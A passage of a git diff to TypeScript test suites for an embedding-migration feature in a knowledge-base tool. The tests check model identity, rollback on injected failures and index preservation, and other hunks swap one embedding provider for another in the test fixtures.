+ expect(['vector', 'halfvec']).toContain(rows[0].udt_name);
+ await engine.executeRaw(`ALTER TABLE ${table} ALTER COLUMN embedding TYPE ${rows[0].udt_name}(${DIMS})`);
+ }
+ await fn({
+ engine, file,
+ reopen: async () => { await engine.disconnect(); await engine.connect(connection); },
+ resumeInFreshProcess: async () => {
+ await engine.disconnect();
+ try {
+ const code = `
+ let calls = 0;
+ globalThis.fetch = async () => { calls++; throw new Error('UNEXPECTED_NETWORK'); };
+ const { createEngine } = await import(${JSON.stringify(new URL('../src/core/engine-factory.ts', import.meta.url).href)});
+ const { configureGateway, __setEmbedTransportForTests } = await import(${JSON.stringify(new URL('../src/core/ai/gateway.ts', import.meta.url).href)});
+ const { planEmbeddingMigration, applyEmbeddingMigration } = await import(${JSON.stringify(new URL('../src/core/embedding-migration.ts', import.meta.url).href)});
+ configureGateway({ embedding_model: ${JSON.stringify(TARGET)}, embedding_dimensions: ${DIMS}, env: {} });
+ __setEmbedTransportForTests(async () => { calls++; throw new Error('UNEXPECTED_PROVIDER'); });
+ const engine = await createEngine({ engine: ${JSON.stringify(kind)} });
+ await engine.connect(${JSON.stringify(connection)});
+ try {
+ const plan = await planEmbeddingMigration(engine, { to: ${JSON.stringify(TARGET)}, dim: ${DIMS} });
+ const result = await applyEmbeddingMigration(engine, plan);
+ if (calls !== 0) throw new Error('UNEXPECTED_PROVIDER');
+ console.log(JSON.stringify(result));
+ } finally { await engine.disconnect(); }
+ `;
+ const child = spawnSync(process.execPath, ['--eval', code], {
+ env: { PATH: process.env.PATH, HOME: home, GBRAIN_HOME: home, GBRAIN_NO_AUTO_SYNC: '1' },
+ encoding: 'utf8', timeout: 30_000,
+ });
+ expect(child.error).toBeUndefined();
+ expect(child.status, child.stderr).toBe(0);
+ expect(child.stderr).not.toContain('UNEXPECTED_');
+ return JSON.parse(child.stdout.trim().split('\n').at(-1)!);
+ } finally {
+ await engine.connect(connection);
+ }
+ },
+ reinit: async (skipEmbedCheck = false) => {
+ await engine.disconnect();
+ try {
+ const opts = {
+ jsonOutput: true, apiKey: null, skipEmbedCheck,
+ aiOpts: { embedding_model: TARGET, embedding_dimensions: DIMS },
+ content: { dbOnly: true },
+ };
+ if (kind === 'pglite') await initPGLite({ ...opts, customPath: databasePath });
+ else await initPostgresCore({ ...opts, databaseUrl: databaseUrl! });
+ } finally {
+ await engine.connect(connection);
+ }
+ },
+ });
+ } finally {
+ if (pg) await pg.close();
+ else await engine.disconnect();
+ }
+ });
+ } finally {
+ rmSync(home, { recursive: true, force: true });
+ }
+}
+
+async function seedStore(engine: BrainEngine, table: Store) {
+ if (table === 'facts') {
+ await engine.executeRaw(
+ "INSERT INTO facts(source_id, entity_slug, fact, source, embedding) VALUES ('default', 'people/example', 'A synthetic durable fact.', 'manual', $1::vector)", [VECTOR_TEXT],
+ );
+ } else if (table === 'query_cache') {
+ await engine.executeRaw(
+ "INSERT INTO query_cache(id, query_text, embedding, results) VALUES ('fixture-cache', 'synthetic query', $1::vector, '[{\"slug\":\"fixture-result\"}]'::jsonb)", [VECTOR_TEXT],
+ );
+ } else {
+ await engine.putPage('notes/take-fixture', { type: 'note', title: 'Take fixture', compiled_truth: '' });
+ await engine.executeRaw(
+ "INSERT INTO takes(page_id, row_num, claim, kind, holder, embedding, embedded_at) SELECT id, 1, 'A synthetic take.', 'take', 'fixture', $1::vector, now() FROM pages WHERE slug = 'notes/take-fixture'", [VECTOR_TEXT],
+ );
+ }
+ const rows = await snapshotStore(engine, table);
+ expect(rows).toHaveLength(1);
+ expect(rows[0].embedding).toBe(VECTOR_TEXT);
+ return rows;
+}
+
+async function snapshotStore(engine: BrainEngine, table: Store) {
+ return engine.executeRaw<{ id: unknown; embedding: string | null; row: Record<string, unknown> }>(
+ `SELECT id, embedding::text AS embedding, to_jsonb(t) - 'embedding' AS row FROM ${table} t ORDER BY id`,
+ );
+}
+
+async function seedRaw(engine: BrainEngine) {
+ await engine.putPage('notes/raw-fixture', { type: 'note', title: 'Raw fixture', compiled_truth: 'A synthetic vector fixture.' });
+ const chunk = { chunk_index: 0, chunk_source: 'compiled_truth' as const, chunk_text: 'A synthetic vector fixture.', embedding: VECTOR };
+ await engine.upsertChunks('notes/raw-fixture', [{ ...chunk, model: OLD }]);
+ return chunk;
+}
+
+for (const kind of ['pglite', 'postgres'] as const) {
+ describe.skipIf(kind === 'postgres' && !process.env.DATABASE_URL)(`${kind}: companion embedding identity`, () => {
+ test.each(['facts', 'query_cache', 'takes'] as const)('reinit refuses a %s-only model change before provider probing or config writes', async (table) => {
+ await withBrain(kind, async ({ engine, file, reinit }) => {
+ const before = await seedStore(engine, table);
+ expect(await engine.executeRaw('SELECT id FROM content_chunks WHERE embedding IS NOT NULL')).toHaveLength(0);
+ const configBefore = await engine.executeRaw('SELECT key, value FROM config ORDER BY key');
+ const fileBefore = readFileSync(file);
+ await expect(reinit()).rejects.toThrow(/re-initialization cannot change their identity/i);
+ expect(providerCalls).toBe(0);
+ expect(getEmbeddingModel()).toBe(OLD);
+ expect(readFileSync(file)).toEqual(fileBefore);
+ expect(await engine.executeRaw('SELECT key, value FROM config ORDER BY key')).toEqual(configBefore);
+ expect(await snapshotStore(engine, table)).toEqual(before);
+ await engine.setConfig('embedding_model', TARGET);
+ await reinit(true);
+ expect(JSON.parse(readFileSync(file, 'utf8')).embedding_model).toBe(TARGET);
+ expect(await snapshotStore(engine, table)).toEqual(before);
+ });
+ }, 60000);
+
+ test('same-width migration invalidates companions before publication and preserves regenerated vectors after restart', async () => {
+ await withBrain(kind, async ({ engine, reopen, resumeInFreshProcess }) => {
+ const facts = await seedStore(engine, 'facts');
+ const takes = await seedStore(engine, 'takes');
+ await seedStore(engine, 'query_cache');
+ expect((await engine.findCandidateDuplicates('default', 'people/example', 'Another fact', { embedding: VECTOR })).map(row => String(row.id))).toEqual([String(facts[0].id)]);
+ await seedRaw(engine);
+ await engine.executeRaw('UPDATE content_chunks SET embedding_image = $1::vector, embedding_multimodal = $1::vector', [VECTOR_TEXT]);
+ const independent = await engine.executeRaw('SELECT embedding_image::text AS image, embedding_multimodal::text AS multimodal FROM content_chunks');
+ expect(independent).toEqual([{ image: VECTOR_TEXT, multimodal: VECTOR_TEXT }]);
+ const plan = await planEmbeddingMigration(engine, { to: TARGET, dim: DIMS });
+ expect(plan.from_model).toBe(OLD);
+ const result = await applyEmbeddingMigration(engine, plan, {
+ persistConfig: async () => {
+ expect(await engine.getConfig('embedding_model')).toBe(TARGET);
+ expect(await snapshotStore(engine, 'facts')).toEqual(facts.map(row => ({ ...row, embedding: null })));
+ expect(await snapshotStore(engine, 'takes'))
+ .toEqual(takes.map(row => ({ ...row, embedding: null, row: { ...row.row, embedded_at: null } })));
+ expect(await engine.executeRaw('SELECT id FROM query_cache')).toHaveLength(0);
+ expect((await readMigrationStatus(engine)).facts_pending).toBe(1);
+ expect(await engine.findCandidateDuplicates('default', 'people/example', 'Another fact', { embedding: VECTOR })).toHaveLength(0);
+ throw new Error('fixture publication interruption');
+ },
+ });
+ expect(result).toEqual({ status: 'failed', reason: 'fixture publication interruption' });
+ expect((await readMigrationState(engine)).state?.companion_vectors_invalidated).toBe(true);
+ expect(await engine.executeRaw('SELECT embedding_image::text AS image, embedding_multimodal::text AS multimodal FROM content_chunks')).toEqual(independent);
+ await reopen();
+ const regenerated = JSON.stringify(new Array(DIMS).fill(0.25));
+ await engine.executeRaw('UPDATE facts SET embedding = $1::vector', [regenerated]);
+ await engine.executeRaw('UPDATE takes SET embedding = $1::vector, embedded_at = now()', [regenerated]);
+ const regeneratedFacts = await snapshotStore(engine, 'facts');
+ const regeneratedTakes = await snapshotStore(engine, 'takes');
+ const resumed = await resumeInFreshProcess();
+ expect(resumed.status).toBe('applied');
+ if (resumed.status === 'applied') expect(resumed.schema_transitioned).toBe(false);
+ expect(await snapshotStore(engine, 'facts')).toEqual(regeneratedFacts);
+ expect(await snapshotStore(engine, 'takes')).toEqual(regeneratedTakes);
+ expect((await readMigrationStatus(engine)).facts_pending).toBe(0);
+ });
+ }, 60000);
+
+ test.each(['config', 'query_cache'] as const)('a real %s failure rolls back companion invalidation and permits a safe restart', async (failureTable) => {
+ await withBrain(kind, async ({ engine, reopen }) => {
+ const facts = await seedStore(engine, 'facts');
+ const cache = await seedStore(engine, 'query_cache');
+ const takes = await seedStore(engine, 'takes');
+ await engine.executeRaw(`CREATE FUNCTION fixture_reject_identity() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'fixture identity interruption'; END $$`);
+ const event = failureTable === 'config'
+ ? `BEFORE INSERT OR UPDATE ON config FOR EACH ROW WHEN (NEW.key = 'embedding_model' AND NEW.value = '${TARGET}')`
+ : 'BEFORE DELETE ON query_cache FOR EACH ROW';
+ await engine.executeRaw(`CREATE TRIGGER fixture_reject_identity ${event} EXECUTE FUNCTION fixture_reject_identity()`);
+ let published = false;
+ const result = await applyEmbeddingMigration(engine, await planEmbeddingMigration(engine, { to: TARGET, dim: DIMS }), {
+ persistConfig: () => { published = true; },
+ });
+ expect(result.status).toBe('failed');
+ if (result.status === 'failed') expect(result.reason).toContain('fixture identity interruption');
+ expect(published).toBe(false);
+ expect(await engine.getConfig('embedding_model')).toBe(OLD);
+ expect(await snapshotStore(engine, 'facts')).toEqual(facts);
+ expect(await snapshotStore(engine, 'query_cache')).toEqual(cache);
+ expect(await snapshotStore(engine, 'takes')).toEqual(takes);
+ expect((await readMigrationState(engine)).state?.companion_vectors_invalidated).not.toBe(true);
+ await reopen();
+ await engine.executeRaw(`DROP TRIGGER fixture_reject_identity ON ${failureTable}`);
+ const resumed = await applyEmbeddingMigration(engine, await planEmbeddingMigration(engine, { to: TARGET, dim: DIMS }));
+ expect(resumed.status).toBe('applied');
+ expect(await snapshotStore(engine, 'facts')).toEqual(facts.map(row => ({ ...row, embedding: null })));
+ expect(await engine.executeRaw('SELECT id FROM query_cache')).toHaveLength(0);
+ expect((await readMigrationStatus(engine)).facts_pending).toBe(1);
+ expect(await engine.getConfig('embedding_model')).toBe(TARGET);
+ });
+ }, 60000);
+
+ test('implicit SDK defaults cannot relabel raw vectors; explicit models and columns remain usable', async () => {
+ await withBrain(kind, async ({ engine }) => {
+ const chunk = await seedRaw(engine);
+ const snapshot = () => engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks');
+ const before = await snapshot();
+ expect(before).toEqual([{ model: OLD, embedding: VECTOR_TEXT }]);
+ configureGateway({ env: {} });
+ expect(getEmbeddingModel()).toBe(TARGET);
+ await engine.upsertChunks('notes/raw-fixture', [chunk]);
+ expect(await snapshot()).toEqual(before);
+ await engine.unsetConfig('embedding_model');
+ await expect(engine.upsertChunks('notes/raw-fixture', [chunk])).rejects.toThrow(/provenance is unknown/i);
+ expect(await snapshot()).toEqual(before);
+ await engine.upsertChunks('notes/raw-fixture', [{ ...chunk, model: OLD }]);
+ expect(await snapshot()).toEqual(before);
+ configureGateway({ embedding_model: 'fixture-explicit:model', embedding_dimensions: DIMS, env: {} });
+ await engine.upsertChunks('notes/raw-fixture', [chunk]);
+ expect(await snapshot()).toEqual([{ model: 'fixture-explicit:model', embedding: VECTOR_TEXT }]);
+ configureGateway({ env: {} });
+ await engine.executeRaw('ALTER TABLE content_chunks ADD COLUMN embedding_fixture vector(3)');
+ await engine.upsertChunks('notes/raw-fixture', [{ ...chunk, embedding: new Float32Array([1, 2, 3]) }], {
+ embeddingColumn: { name: 'embedding_fixture', type: 'vector', dimensions: 3, embeddingModel: 'fixture-column:model' },
+ });
+ expect(await engine.executeRaw('SELECT model, embedding_fixture::text AS embedding FROM content_chunks'))
+ .toEqual([{ model: 'fixture-column:model', embedding: '[1,2,3]' }]);
+ });
+ }, 60000);
+
+ test('unknown identity refusal leaves an incomplete schema and vector bytes unchanged', async () => {
+ await withBrain(kind, async ({ engine }) => {
+ await seedRaw(engine);
+ await engine.unsetConfig('embedding_model');
+ await engine.executeRaw('ALTER TABLE pages DROP COLUMN ingested_at');
+ const columns = () => engine.executeRaw("SELECT table_name, column_name, udt_name, ordinal_position FROM information_schema.columns WHERE table_schema = 'public' ORDER BY table_name, ordinal_position");
+ const beforeColumns = await columns();
+ expect(beforeColumns.some((row: any) => row.table_name === 'pages' && row.column_name === 'ingested_at')).toBe(false);
+ const before = await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks');
+ expect(before).toEqual([{ model: OLD, embedding: VECTOR_TEXT }]);
+ configureGateway({ env: {} });
+ await expect(engine.initSchema()).rejects.toThrow(/stored embedding model is unknown/i);
+ expect(await columns()).toEqual(beforeColumns);
+ expect(await engine.getConfig('embedding_model')).toBeNull();
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(before);
+ await engine.setConfig('embedding_model', OLD);
+ await engine.initSchema();
+ expect((await columns()).some((row: any) => row.table_name === 'pages' && row.column_name === 'ingested_at')).toBe(true);
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(before);
+ expect(await engine.getConfig(MIGRATION_STATE_KEY)).toBeNull();
+ });
+ }, 60000);
+ });
+}
diff --git a/test/embedding-migration.test.ts b/test/embedding-migration.test.ts
index dc236ccdb4..ada8a4f275 100644
--- a/test/embedding-migration.test.ts
+++ b/test/embedding-migration.test.ts
@@ -122,17 +122,6 @@ describe('resolveMigrationTarget', () => {
expect(() => resolveMigrationTarget('litellm:my-custom-model')).toThrow(/--dim/);
expect(resolveMigrationTarget('litellm:my-custom-model', 1024).toDims).toBe(1024);
});
- test('v0.46.3: refuses a sunset target (paid re-embed onto a dying provider)', () => {
- expect(() => resolveMigrationTarget('zeroentropyai:zembed-1')).toThrow(/Refusing to migrate ONTO/);
- expect(() => resolveMigrationTarget('zeroentropyai:zembed-1')).toThrow(/--force-sunset-target/);
- });
- test('v0.46.3: allowSunsetTarget is the loud escape hatch (self-hosted endpoint)', () => {
- // Self-hosters keep the brain's existing width explicitly (--dim 1280).
- expect(resolveMigrationTarget('zeroentropyai:zembed-1', 1280, { allowSunsetTarget: true })).toEqual({
- toModel: 'zeroentropyai:zembed-1',
- toDims: 1280,
- });
- });
});
describe('#3391 includeNullSignature widening', () => {
@@ -186,12 +175,12 @@ describe('#3391 includeNullSignature widening', () => {
describe('planEmbeddingMigration', () => {
test('counts everything not in the target space, splits out NULL-signature chunks, prices it', async () => {
await seedEmbedded('legacy', 'abcde', null); // 5 chars
- await seedEmbedded('current', 'fghij', `zeroentropyai:zembed-1:${colDim}`); // 5 chars
+ await seedEmbedded('current', 'fghij', `fixture-provider:embedding-v1:${colDim}`); // 5 chars
await seedUnembedded('pending', 'klmnop'); // 6 chars
const plan = await planEmbeddingMigration(engine, {
to: 'openai:text-embedding-3-small',
- fromModel: 'zeroentropyai:zembed-1',
+ fromModel: 'fixture-provider:embedding-v1',
fromDims: colDim,
});
@@ -226,13 +215,13 @@ describe('planEmbeddingMigration', () => {
});
test('reranker on the outgoing provider triggers the warning', async () => {
- await engine.setConfig('search.reranker.model', 'zeroentropyai:zerank-2');
+ await engine.setConfig('search.reranker.model', 'fixture-provider:reranker-v1');
const plan = await planEmbeddingMigration(engine, {
to: 'openai:text-embedding-3-small',
- fromModel: 'zeroentropyai:zembed-1',
+ fromModel: 'fixture-provider:embedding-v1',
fromDims: 1280,
});
- expect(plan.reranker_warning).toContain('zeroentropyai:zerank-2');
+ expect(plan.reranker_warning).toContain('fixture-provider:reranker-v1');
});
});
@@ -622,3 +611,71 @@ describe('migrate_embeddings op contract', () => {
.toBe('openai:text-embedding-3-small:1536');
});
});
+
+describe('runSchemaTransition retained column and index regressions', () => {
+ test('preserves embedding_image and embedding_multimodal dimensions after text migration', async () => {
+ await seedEmbedded('transition-image-width', 'fixture body', null);
+ const target = colDim === 512 ? 256 : 512;
+ const plan = await planEmbeddingMigration(engine, { to: 'openai:text-embedding-3-small', dim: target });
+ expect(await applyEmbeddingMigration(engine, plan)).toMatchObject({ status: 'applied', schema_transitioned: true });
+ const rows = await engine.executeRaw<{ column_name: string; col_type: string }>(
+ `SELECT a.attname AS column_name, format_type(a.atttypid, a.atttypmod) AS col_type
+ FROM pg_attribute a
+ JOIN pg_class c ON c.oid = a.attrelid
+ JOIN pg_namespace n ON n.oid = c.relnamespace
+ WHERE n.nspname = 'public' AND c.relname = 'content_chunks'
+ AND a.attname IN ('embedding', 'embedding_image', 'embedding_multimodal')
+ AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attname`,
+ );
+ const byName = new Map(rows.map(r => [r.column_name, r.col_type]));
+ expect(byName.get('embedding')).toBe(`vector(${target})`);
+ expect(byName.get('embedding_image')).toBe('vector(1024)');
+ expect(byName.get('embedding_multimodal')).toBe('vector(1024)');
+ });
+
+ test('restores the partial WHERE predicate on idx_chunks_embedding_image', async () => {
+ await seedEmbedded('transition-image-index', 'fixture body', null);
+ const target = colDim === 512 ? 256 : 512;
+ const plan = await planEmbeddingMigration(engine, { to: 'openai:text-embedding-3-small', dim: target });
+ expect(await applyEmbeddingMigration(engine, plan)).toMatchObject({ status: 'applied', schema_transitioned: true });
+ const rows = await engine.executeRaw<{ indexdef: string }>(
+ `SELECT indexdef FROM pg_indexes WHERE schemaname = 'public'
+ AND tablename = 'content_chunks' AND indexname = 'idx_chunks_embedding_image'`,
+ );
+ expect(rows.length).toBe(1);
+ expect(rows[0].indexdef).toMatch(/WHERE\s+\(?embedding_image IS NOT NULL\)?/i);
+ });
+
+ test('preserves both partial stale indexes on content_chunks.embedding (#4252)', async () => {
+ await seedEmbedded('transition-stale-index', 'fixture body', null);
+ await engine.executeRaw(`CREATE INDEX IF NOT EXISTS idx_chunks_embedding_null
+ ON content_chunks (page_id, chunk_index) WHERE embedding IS NULL`);
+ const target = colDim === 512 ? 256 : 512;
+ const plan = await planEmbeddingMigration(engine, { to: 'openai:text-embedding-3-small', dim: target });
+ expect(await applyEmbeddingMigration(engine, plan)).toMatchObject({ status: 'applied', schema_transitioned: true });
+ const rows = await engine.executeRaw<{ indexname: string; indexdef: string }>(
+ `SELECT indexname, indexdef FROM pg_indexes WHERE schemaname = 'public'
+ AND tablename = 'content_chunks'
+ AND indexname IN ('idx_chunks_embedding_null', 'content_chunks_stale_idx') ORDER BY indexname`,
+ );
+ const byName = new Map(rows.map(r => [r.indexname, r.indexdef]));
+ expect([...byName.keys()]).toEqual(['content_chunks_stale_idx', 'idx_chunks_embedding_null']);
+ expect(byName.get('content_chunks_stale_idx')).toMatch(/WHERE\s+\(?embedding IS NULL\)?/i);
+ expect(byName.get('idx_chunks_embedding_null')).toMatch(/WHERE\s+\(?embedding IS NULL\)?/i);
+ });
+
+ test('skips the image index cleanly when both multimodal columns are absent', async () => {
+ await seedEmbedded('transition-no-image', 'fixture body', null);
+ await engine.executeRaw('ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding_image');
+ await engine.executeRaw('ALTER TABLE content_chunks DROP COLUMN IF EXISTS embedding_multimodal');
+ const target = colDim === 512 ? 256 : 512;
+ const plan = await planEmbeddingMigration(engine, { to: 'openai:text-embedding-3-small', dim: target });
+ expect(await applyEmbeddingMigration(engine, plan)).toMatchObject({ status: 'applied', schema_transitioned: true });
+ expect(await embeddingColWidth('content_chunks')).toBe(target);
+ const rows = await engine.executeRaw<{ indexname: string }>(
+ `SELECT indexname FROM pg_indexes WHERE schemaname = 'public'
+ AND tablename = 'content_chunks' AND indexname = 'idx_chunks_embedding_image'`,
+ );
+ expect(rows.length).toBe(0);
+ });
+});
diff --git a/test/embedding-pricing.test.ts b/test/embedding-pricing.test.ts
index bdf044a2aa..92263c7c98 100644
--- a/test/embedding-pricing.test.ts
+++ b/test/embedding-pricing.test.ts
@@ -1,5 +1,5 @@
/**
- * Pricing table contract — Voyage + ZeroEntropy coverage gate.
+ * Pricing table contract — supported-provider coverage gate.
*
* The post-upgrade reembed cost prompt in `gbrain upgrade` falls back to
* "estimate unavailable" on unknown providers, which is fine for safety
@@ -43,12 +43,6 @@ describe('lookupEmbeddingPrice — first-class providers', () => {
expect(lookupEmbeddingPrice('voyage:voyage-4-nano').kind).toBe('unknown');
});
- test('ZeroEntropy zembed-1 at $0.05/MTok (v0.35.1.0+)', () => {
- const r = lookupEmbeddingPrice('zeroentropyai:zembed-1');
- expect(r.kind).toBe('known');
- if (r.kind === 'known') expect(r.pricePerMTok).toBe(0.05);
- });
-
test('Google gemini-embedding-001 at $0.15/MTok', () => {
const r = lookupEmbeddingPrice('google:gemini-embedding-001');
expect(r.kind).toBe('known');
@@ -79,9 +73,9 @@ describe('lookupEmbeddingPrice — fall-through behavior', () => {
});
test('provider name is case-insensitive', () => {
- const r = lookupEmbeddingPrice('ZeroEntropyAI:zembed-1');
+ const r = lookupEmbeddingPrice('VoYaGe:voyage-4');
expect(r.kind).toBe('known');
- if (r.kind === 'known') expect(r.pricePerMTok).toBe(0.05);
+ if (r.kind === 'known') expect(r.pricePerMTok).toBe(0.06);
});
});
diff --git a/test/embedding-truth-predicates.serial.test.ts b/test/embedding-truth-predicates.serial.test.ts
index 7bcabf3d10..27a506d70b 100644
--- a/test/embedding-truth-predicates.serial.test.ts
+++ b/test/embedding-truth-predicates.serial.test.ts
@@ -38,7 +38,7 @@ import { runSchemaTransition, migrationSignature } from '../src/core/embedding-m
import { currentEmbeddingSignature } from '../src/core/embedding.ts';
import { embedStaleForSource } from '../src/core/embed-stale.ts';
-const DIMS = 1280;
+const DIMS = 1024;
const PAGES = ['truth-1', 'truth-2', 'truth-3'];
let engine: PGLiteEngine;
@@ -50,9 +50,9 @@ let embedCalls = 0;
* after it deliberately unconfigures the gateway. */
function configureBaselineGateway(): void {
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: DIMS,
- env: { ZEROENTROPY_API_KEY: 'ze-test-fake' },
+ env: { VOYAGE_API_KEY: 'voyage-test-fake' },
});
}
@@ -79,9 +79,9 @@ beforeAll(async () => {
mkdirSync(join(tmpHome, '.gbrain'), { recursive: true });
writeFileSync(join(tmpHome, '.gbrain', 'config.json'), JSON.stringify({
engine: 'pglite',
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: DIMS,
- zeroentropy_api_key: 'ze-test-fake',
+ voyage_api_key: 'voyage-test-fake',
}, null, 2));
resetGateway();
@@ -185,8 +185,8 @@ describe('nullable embedding signature (D9 honesty)', () => {
// Configured path: exact canonical shape, and shape-parity with
// migrationSignature (embedding-migration.ts documents "must match
// currentEmbeddingSignature()'s shape").
- expect(currentEmbeddingSignature()).toBe('zeroentropyai:zembed-1:1280');
- expect(currentEmbeddingSignature()).toBe(migrationSignature('zeroentropyai:zembed-1', DIMS));
+ expect(currentEmbeddingSignature()).toBe('voyage:voyage-4:1024');
+ expect(currentEmbeddingSignature()).toBe(migrationSignature('voyage:voyage-4', DIMS));
// Null path: plain resetGateway() restores a CONFIGURED test baseline
// (the #3554 preload), so a truly-unconfigured gateway is only reachable
@@ -200,7 +200,7 @@ describe('nullable embedding signature (D9 honesty)', () => {
configureBaselineGateway();
installTransport();
}
- expect(currentEmbeddingSignature()).toBe('zeroentropyai:zembed-1:1280');
+ expect(currentEmbeddingSignature()).toBe('voyage:voyage-4:1024');
});
test('null-signature embed: no embedding_signature stamp; only includeNullSignature widening counts it stale', async () => {
diff --git a/test/eval-brainbench-e2e.slow.test.ts b/test/eval-brainbench-e2e.slow.test.ts
index ed186df79f..bc1443020c 100644
--- a/test/eval-brainbench-e2e.slow.test.ts
+++ b/test/eval-brainbench-e2e.slow.test.ts
@@ -37,7 +37,7 @@ function brainBenchEnv(): NodeJS.ProcessEnv {
return {
...process.env,
GBRAIN_QUIET: '1',
- // Bare CLI defaults are zembed/1280; its parent bun test uses legacy/1536.
+ // Bare CLI defaults are voyage-4/1024; its parent bun test uses legacy/1536.
// An absent default fixture falls back to cold init without a wrong-shape tar.
GBRAIN_PGLITE_SNAPSHOT: snapshot ? resolve(REPO, snapshot) : '',
};
diff --git a/test/facts-extract-smoke.test.ts b/test/facts-extract-smoke.test.ts
index 0c56235c1d..21942af013 100644
--- a/test/facts-extract-smoke.test.ts
+++ b/test/facts-extract-smoke.test.ts
@@ -152,9 +152,9 @@ describe('extractFactsFromTurn — B1 end-to-end smoke', () => {
test('high-only admission embeds only high-tier candidates', async () => {
const embeddedTexts: string[] = [];
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: 'test' },
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
+ env: { VOYAGE_API_KEY: 'test' },
});
__setChatTransportForTests(async (): Promise<ChatResult> => ({
text: JSON.stringify({
@@ -174,7 +174,7 @@ describe('extractFactsFromTurn — B1 end-to-end smoke', () => {
}));
__setEmbedTransportForTests((async ({ values }: { values: string[] }) => {
embeddedTexts.push(...values);
- return { embeddings: values.map(() => Array.from({ length: 1280 }, () => 0.1)) };
+ return { embeddings: values.map(() => Array.from({ length: 1024 }, () => 0.1)) };
}) as never);
const outcome = await extractFactsFromTurnWithOutcome({
@@ -190,9 +190,9 @@ describe('extractFactsFromTurn — B1 end-to-end smoke', () => {
test('without admission, high, medium, low, and absent tiers embed', async () => {
const embeddedTexts: string[] = [];
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ZEROENTROPY_API_KEY: 'test' },
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: 1024,
+ env: { VOYAGE_API_KEY: 'test' },
});
__setChatTransportForTests(async (): Promise<ChatResult> => ({
text: JSON.stringify({
@@ -211,7 +211,7 @@ describe('extractFactsFromTurn — B1 end-to-end smoke', () => {
}));
__setEmbedTransportForTests((async ({ values }: { values: string[] }) => {
embeddedTexts.push(...values);
- return { embeddings: values.map(() => Array.from({ length: 1280 }, () => 0.1)) };
+ return { embeddings: values.map(() => Array.from({ length: 1024 }, () => 0.1)) };
}) as never);
const outcome = await extractFactsFromTurnWithOutcome({
diff --git a/test/find-experts-op.test.ts b/test/find-experts-op.test.ts
index a40efc39c5..af0be9205c 100644
--- a/test/find-experts-op.test.ts
+++ b/test/find-experts-op.test.ts
@@ -35,10 +35,10 @@ beforeAll(async () => {
// v0.41.8.0: query the schema's actual embedding dim instead of
// hardcoding 1536. Pre-fix, the test hardcoded 1536 but master's
- // v0.36.0 default changed to ZeroEntropy 1280d, AND a gateway-
+ // v0.36.0 default changed to Voyage 1024d, AND a gateway-
// configured local env may resolve to OpenAI 1536d. The dim is
// resolved at initSchema() time from the configured gateway (with
- // DEFAULT_EMBEDDING_DIMENSIONS=1280 fallback). Either way, the seed
+ // DEFAULT_EMBEDDING_DIMENSIONS=1024 fallback). Either way, the seed
// embedding's dim must match the column's dim, so we ask the column.
const dimRows = await engine.executeRaw<{ atttypmod: number }>(
"SELECT atttypmod FROM pg_attribute WHERE attrelid = 'content_chunks'::regclass AND attname = 'embedding'",
diff --git a/test/fixtures/persistence-sync-options-child.ts b/test/fixtures/persistence-sync-options-child.ts
new file mode 100644
index 0000000000..cc69c82c7e
--- /dev/null
+++ b/test/fixtures/persistence-sync-options-child.ts
@@ -0,0 +1,43 @@
+import { readFileSync } from 'node:fs';
+import { PGLiteEngine } from '../../src/core/pglite-engine.ts';
+import { PostgresEngine } from '../../src/core/postgres-engine.ts';
+import { configureGateway } from '../../src/core/ai/gateway.ts';
+import { LEGACY_EMBEDDING_CONFIG } from '../helpers/legacy-embedding-config.ts';
+import { performManagedSync } from '../../src/core/persistence/sync-run.ts';
+import { disposePersistenceConsumer } from '../../src/core/persistence/service.ts';
+import { localHostId } from '../../src/core/persistence/identity.ts';
+import { runPersistenceEffects } from '../../src/core/persistence/effects.ts';
+
+const input = JSON.parse(readFileSync(process.argv[2], 'utf8')) as {
+ kind: 'pglite' | 'postgres'; database: string; sourceId: string; root: string; noEmbed: boolean;
+};
+configureGateway({ ...LEGACY_EMBEDDING_CONFIG, env: {} });
+let networkCalls = 0, transportCalls = 0;
+globalThis.fetch = Object.assign(async () => { networkCalls++; throw new Error('Unexpected provider or connector network access'); }, { preconnect: globalThis.fetch.preconnect });
+const engine = input.kind === 'pglite' ? new PGLiteEngine() : new PostgresEngine();
+await engine.connect(input.kind === 'pglite' ? { database_path: input.database } : { database_url: input.database });
+const opts = { sourceId: input.sourceId, repoPath: input.root, noPull: true, noEmbed: input.noEmbed, noExtract: true, noSchemaPack: true };
+const requests = () => engine.executeRaw('SELECT id,request_id,state,intent FROM persistence_requests WHERE source_id=$1 ORDER BY sequence', [input.sourceId]);
+try {
+ const before = await requests();
+ let changedOptions: unknown;
+ if (process.argv[3] === 'resume') {
+ try { await performManagedSync(engine, { ...opts, noEmbed: !input.noEmbed }); }
+ catch (error) { changedOptions = { code: (error as { code?: string }).code }; }
+ }
+ const afterChangedOptions = await requests();
+ const result = await performManagedSync(engine, { ...opts, retryFailed: true });
+ await disposePersistenceConsumer(engine);
+ const beforeDrain = await engine.executeRaw('SELECT kind,state FROM persistence_effects WHERE source_id=$1 ORDER BY kind', [input.sourceId]);
+ await engine.executeRaw("UPDATE persistence_effects SET next_attempt_at=now() WHERE source_id=$1 AND kind='embedding'", [input.sourceId]);
+ await runPersistenceEffects(engine, { engine: engine.kind, embedding_disabled: false }, { hostId: localHostId(), limit: 10,
+ embedding: { signature: 'test:restart:1536', model: 'test:model', embed: async texts => {
+ transportCalls++; return texts.map(() => new Float32Array(1536).fill(0.25));
+ } } });
